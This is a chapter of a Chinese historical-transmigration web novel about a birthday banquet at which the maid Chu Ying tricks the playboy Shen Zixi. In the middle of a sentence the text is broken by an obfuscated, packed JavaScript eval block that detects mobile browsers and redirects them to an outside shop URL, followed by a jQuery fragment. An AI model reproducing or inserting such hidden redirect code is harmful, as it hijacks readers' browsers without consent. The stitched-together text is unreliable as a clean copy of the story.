永熙十四年五月二十六,柳月华的生日宴上,阖府女眷皆至,于洗芳园内搭台唱戏。才开不久,便有几位宫中的娘娘差人送来贺礼庆生,给足了排场。
孟老太太虽说对柳月华有诸多不满,但在这种场合,还是难掩笑意,亲切地拉着她坐在自己身侧,一副祖孙和睦、其乐融融的模样。
站在后面的楚盈却只感觉困倦。
以往这种场合,她这个大小姐吩咐下去,或缺或补、或增或减,都交由丫鬟小厮去做,自己只顾与往来宾客应酬便好。今年却是大不相同,她身为丫鬟,不光要杀猪、下厨,还要布置会场,已经一天一夜未曾休息了。
亏得楚盈还一直以为自己是个勤俭持家之人,直到亲身体会过,才真正知道何为辛劳。
寒暄过后,丫鬟们陆续布菜。天书记载,许姨娘为了讨好老太太,准备了许多寡淡素菜,以致在场的小姐们吃不大惯。
楚盈抬起头,果然看到有几位小姐面露苦色,摇头放下了筷子。席上氛围渐渐冷了下去,许姨娘还在高声自夸,可惜少有人迎合,不由得尴尬万分。
就在这种情况下,柳月华微微一笑,叫丫鬟们呈上新鲜出锅的几份菜品,皆用猪肉制成。其中最引人瞩目的,当属——
碗碟内盛放满满几大块方正红肉,色泽鲜亮、味道香醇。
小桃娓娓道来:“夫人小姐们,这道菜品是月华小姐所创的东坡肉。小姐感谢诸位参加宴席,特别准备这道东坡肉,来请诸位尝鲜。”
在场的女眷们出身各不相同,却无一人吃过所谓的“东坡肉”,不禁十分好奇。又见这肉酥烂丰厚,纷纷忍不住细细品尝。
很快,女眷们面露惊喜,赞不绝口。
楚盈对此毫不意外。
且不说这一幕记载在天书之上,是柳月华“打脸”许姨娘的举动之一。就说为了做好这份东坡肉,她和李斐在后厨忙了一夜,在柳月华所给菜谱的基础上又反复尝试,才找到了最佳做法。
赞誉声中,柳月华满脸自信,似有挑衅地撇了眼许姨娘,像是在说:你又输了。
许姨娘原本也有些好奇这“东坡肉”究竟如何,被柳月华这么一看,登时觉得受到侮辱,愤愤走出洗芳园,吩咐道:“快把二小姐叫来!”
*
另一侧,沈自熙正扶着柳长垣,不紧不慢地走在园中。
柳长垣喝得大醉,摇摇晃晃的走不稳路,加之右腿先前被柳月华打了一通,时至今日还隐隐作痛,显得整个人的走路姿态更加怪异。
也正因如此,他恼怒地念叨着:“都怪、都怪柳月华……要不然,小爷肯定能……”
“肯定能”什么沈自熙没听见,但他猜左不过又是床上那档子事儿。
这位柳三公子,没习得他大姐那般端庄持重也就罢了,偏与下三滥厮混,游走于花街柳巷,酒色财气一样不落下。这不,方才宴席上行了几次酒令,就成这个样子了。
沈自熙用一只手拎着柳长垣不让他彻底倒下,缓缓道:“听闻柳月华她们是在洗芳园,离这里不远,不如我们从那边过去吧。”
柳长垣神志不清地哼哼两声,沈自熙就当他同意了,神情愉悦地绕了远路。
只是沈自熙实在高估了柳长垣的体力。才走到半路,柳长垣就喊累,坐在假山旁说什么都不肯走。
沈自熙一边扇走周身酒气,一边思考将柳长垣扔在这里不管的可行性,无奈催促道:“长垣,不是你说要回房休息的吗?怎么又不走了?”
柳长垣也不知道想到什么,答非所问道:“自熙兄,管家说……昨日你见了几个丫鬟,之后就魂不守舍的,是不是看上谁了?你尽管说,我、我这就是……这就把他送给你!”
沈自熙:“……”
他眼前闪过那个浑身是血的杀猪丫鬟,不自觉打了一个冷战,道:“你还不了解我吗?沈某多情,只愿流连花丛,不想采撷回家,怎会为了一名女子而放弃其他?无聊都弄着玩儿罢了。”
“所以你才不喜欢柳月华?”
听到柳长垣冷不丁这么问,沈自熙有些意外。
不等他回答,柳长垣似乎清醒了些,自言自语道:“也是,那等无趣的女子,有哪个男人会喜欢?别看她现在很风光,其实都是纸老虎……等真嫁给齐王,指不定被磋磨成什么样子呢!我看她嚣张到几时!”
说着,他恨恨地捶了几下右腿,显然还在记恨上个月马场之事。
沈自熙微微皱眉。
柳长垣的这番话并非无缘无故。自三月初皇帝赐婚以来,太子和夏家那边已经紧锣密鼓地筹办起来,齐王府却始终态度消极,借口北境战事辅佐摄政王,迟迟不肯推进婚期。
不免让人想到,柳月华曾痴心太子,五皇子又一向与太子不睦,这样的两个人,如何做得了夫妻?
更何况,齐王萧煜虽残疾暴虐,然一向得摄政王信任,又与镇南王之女云若霓是青梅竹马之交。或许正因如此,皇帝才会在沅江宴上出其不意将柳月华指婚给萧煜,看似随意,实则早有打算。
因而这桩赐婚究竟是否真的能成,还是个未知数。
“三弟如此关心我的婚事,何不当面说个明白?”
正当沈自熙暗自思忖间,一道清亮的声音从背后响起。二人这才惊觉,假山的另一侧便是湖畔长亭,许多女眷端坐其中,不知将他们的话听去多少。
柳月华气定神闲地站在亭前,看到二人从假山后走出,眉头一挑:“原来还有旁人在?这位公子……”
话语停顿了一下,侧身听旁边的小桃耳语几句,她才道:“……沈自熙,多日不见,怎么也沾染了偷三摸四的毛病?”
其他的女眷也认出沈自熙,有几人红着脸掩面交谈,也有几人面露不虞,甚是失望。
“沈公子果真一表人才,难怪苏黛青念念不完。”
“模样是不错,可有什么用?竟然擅闯内宅,还这般议论女子,没个规矩,我看更像是登徒子。”
沈自熙很少听到这种直白的讽刺,脸上惯常的笑有些挂不住,又知道确实理亏在先,无奈道:“诸位夫人小姐,三公子醉酒难行,在下不察走错了路,误入此地实非有意,还请见谅。”
柳月华哼了一声,看向柳长垣,从桌上拿起一个酒坛。旁边的小桃不解何意,就见楚盈一声不响地递过来另一壶酒,示意她跟上去。
很快,小桃就知道这酒有何用处了。
柳长垣烂泥似的坐在地上,不服气地说道:“我说的有错吗?柳月华,这柳家终归是我的,你一个外人,凭什么在这里作威作福?竟然还不让我们参加宴会!得罪了我,等到时候你在五皇子那里受了委屈,就算被打死,也别想着我会帮你!”
随着他的这番话,女眷们的神色都不大好。
沈自熙此时万般后悔跟柳长垣一起过来,又不好丢下他,便打算捂住他的嘴,将他强行带走。
这时候,柳月华走到他们身前,平静地打开酒坛,喝了一口。随后,她高高举起酒坛,重重砸在柳长垣的头上。
随着柳长垣一声惨叫,破碎的瓷器与酒水一同散落,沾湿三个人的衣袖。
柳月华的神情中带着冷傲,丝毫不理会柳长垣的哀嚎,从小桃手里拿来第二个酒坛,又喝了一大口。
她对沈自熙说:“三弟喝醉了,说不出来话,沈公子你呢?”
沈自熙怔忡地看着柳月华,顾不上昏死过去的柳长垣,似是今日才认识她一般。
待他回过神来,只留下柳月华提着酒坛潇洒离去的背影,以及那一句吩咐:“楚盈李斐,送沈公子出府!”
沈自熙忍不住想要上前,对柳月华说些什么,被旁边的小厮拦了下来。
李斐面无表情地说:“沈公子,请自重。”
楚盈则道:“沈公子,你先回前院吧,这里有我们处理就好。”
沈自熙半个衣襟都沾上酒水,分外狼狈,调笑道:“姑娘,你看我这般模样,可怎么见人啊?唉,也真是不巧,偏巧长垣停在这里,害我成了姑娘们的笑柄。”
话虽如此,他的脸上没有半分愁容,反而感到十分有趣。
“无怪京中人人都说月华小姐不同以往,一段时间不见,竟变得如此厉害,真是……”
楚盈忽然问:“沈公子以为,现在的大小姐怎么样?”
李斐撇了一眼楚盈。
沈自熙顿了顿,想起方才所见柳月华明媚的面容,声音不自觉柔和下去:“到底是没能说上话,若是再见一面,定能知晓为何……”
楚盈语气一变,冷冷道:“小姐已下了逐客令,请公子莫要再来相府了,许是与您犯冲,不宜强求。”
沈自熙听出对方语气不善,有些疑惑,这才认真看向楚盈,同时也看清了她的模样,不正是昨日那个杀猪丫鬟吗?
“原来姑娘是月华小姐身边的人……”
沈自熙心念一动,眨了眨漂亮的桃花眼,主动凑到楚盈身边,道:“楚盈姑娘,你能帮我再见月华小姐一面吗?我想当面同她解释清楚。”
“不能。”
楚盈一口回绝。
见她还是态度冷淡,沈自熙并不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129542|149624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气馁,柔声道:“姑娘,我从前确实对月华小姐多有误解,不过今日一见,已是大为改观,甚至可说是刮目相看。你放心,我绝非登徒子,不会做出什么逾矩之事,你就帮我见她一面,如何?”
楚盈:“……”
李斐停下了给柳长垣包扎的动作。
两个人对视一眼,都从对方眼里看到了某种不满。
于是,楚盈轻声道:“沈公子,既然你这么想见大小姐,我有一个方法。”
*
沈自熙换上一身李斐拿来的干净衣衫,按照楚盈所言,站在一处门外安静等候。
他一向自信能够俘获女子芳心,因而并未对楚盈的帮助有半分怀疑,满心只顾着等下见到柳月华,该说些什么话解释、又该如何叙旧……
院门从内打开,出来的却并非柳月华,甚至都不是女眷,而是几名年轻的戏子。
沈自熙想到,今日的生辰宴确实请了戏班来登台庆贺,只是他们为何会出现在这里?
几名年轻戏子见他如此俊美,已经开始窃窃私语起来。有个唇红齿白的小生轻蔑一笑,道:“想不到丞相府也会有这等事儿,亏你长得人模狗样!”
沈自熙:“……”
他猛地反应过来,柳月华根本不在这里,此处是戏子们居住的地方——他被那个杀猪丫鬟诓骗了!
念及此处,沈自熙不由得大窘,一时之间忘了风度,慌忙给对方赔不是,就要尽快离开。
戏子们可不是吃素的,哪能轻易放他走,几个人前后扯住他不依不挠,非要问出是哪家的公子,他们改日登门讨说法。
沈自熙心道,若是给安平侯府招惹上这档子事儿,他爹还不得追他打半条街?因为格外坚决,就是不肯透露姓名。
如此一来,他的行迹更显可疑。几个戏子愈加怀疑,招呼其他人赶紧去找班主,说他们抓到一个身份不明的登徒子。
眼见人越聚越多,沈自熙知道此地不宜久留,哪里还顾得上找柳月华?
他正要抽身逃离相府,却见到不远处有女子缓缓走来,笑道:“沈公子怎么在这里?”
原来,由于这边的吵嚷声打扰了众女眷游园的兴致,都知道是戏子所在,纷纷避开。唯有柳月华心下好奇,独自前来看个究竟。
在柳月华出现的同时,院墙角落的一棵树后,楚盈慌忙掩住身形,避免让对方发现。
此情此景,沈自熙也顾不得什么脸面,将事情原委说与柳月华。
听罢,柳月华含笑对戏班的人说:“这是今日的贵客,其中应有误会,还请不要放在心上。”
几个戏子自然认得柳月华,面面相觑,动作变得迟疑。班主也不敢再多说什么,唯唯道:“既是贵客,是小的有眼不识泰山。”
沈自熙这才从戏子手中挣脱,分外狼狈地跟在柳月华身后,整个人十分气馁,犹如霜打的茄子。
柳月华饶有兴致地注视这样的沈自熙。
她方才从小桃口中对“沈自熙”有了一个基本的了解,知道他是个流连花丛、光鲜亮丽的纨绔子弟,不想竟会有这么丢人的时候。
于是柳月华忍不住笑出声来。
沈自熙本还恼怒楚盈和李斐的戏弄,听见柳月华的笑声,猛地抬头,看到了那张光彩照人的面容,顿时再无他想。
他不由得笑道:“能得月华小姐一笑,沈某心甘情愿。”
不多时,沈自熙跟着柳月华渐渐走远,楚盈面无表情从树后走出。
天书记载,沈自熙会喜欢上穿越女附身的柳月华。也正因此,苏黛青与柳月华离心,成了针对女主的恶毒反派,即便成功嫁给沈自熙,也会独守空房,抑郁而终。
楚盈不愿看到那样的未来。
她今日的举动,不光是想要教训沈自熙,更想阻止他爱上柳月华。
然而,纵使具体事情有所偏差,结果竟仍然没变。就如同那一晚,林春兰为救她所做的一样。
这就是所谓命运吗?
楚盈忽地对宴会没了兴致。
左右柳月华身边不需要人随侍,她安静退下,远离那端与自己无关的热闹,回到稍显冷清的岁安轩。
还没等她清净多久,就看到柳玉灵推门而入,气势汹汹地喊道:“不让我参加,那我就在这里等柳月华回来!非要她给我解释清楚不可!”
丫鬟劝道:“二小姐,您是不知道,现在的大小姐可不好惹,我看您——”
柳玉灵才不管这个,用力踩着绣鞋径直闯入,与树下的楚盈四目相对。
“你是什么人?”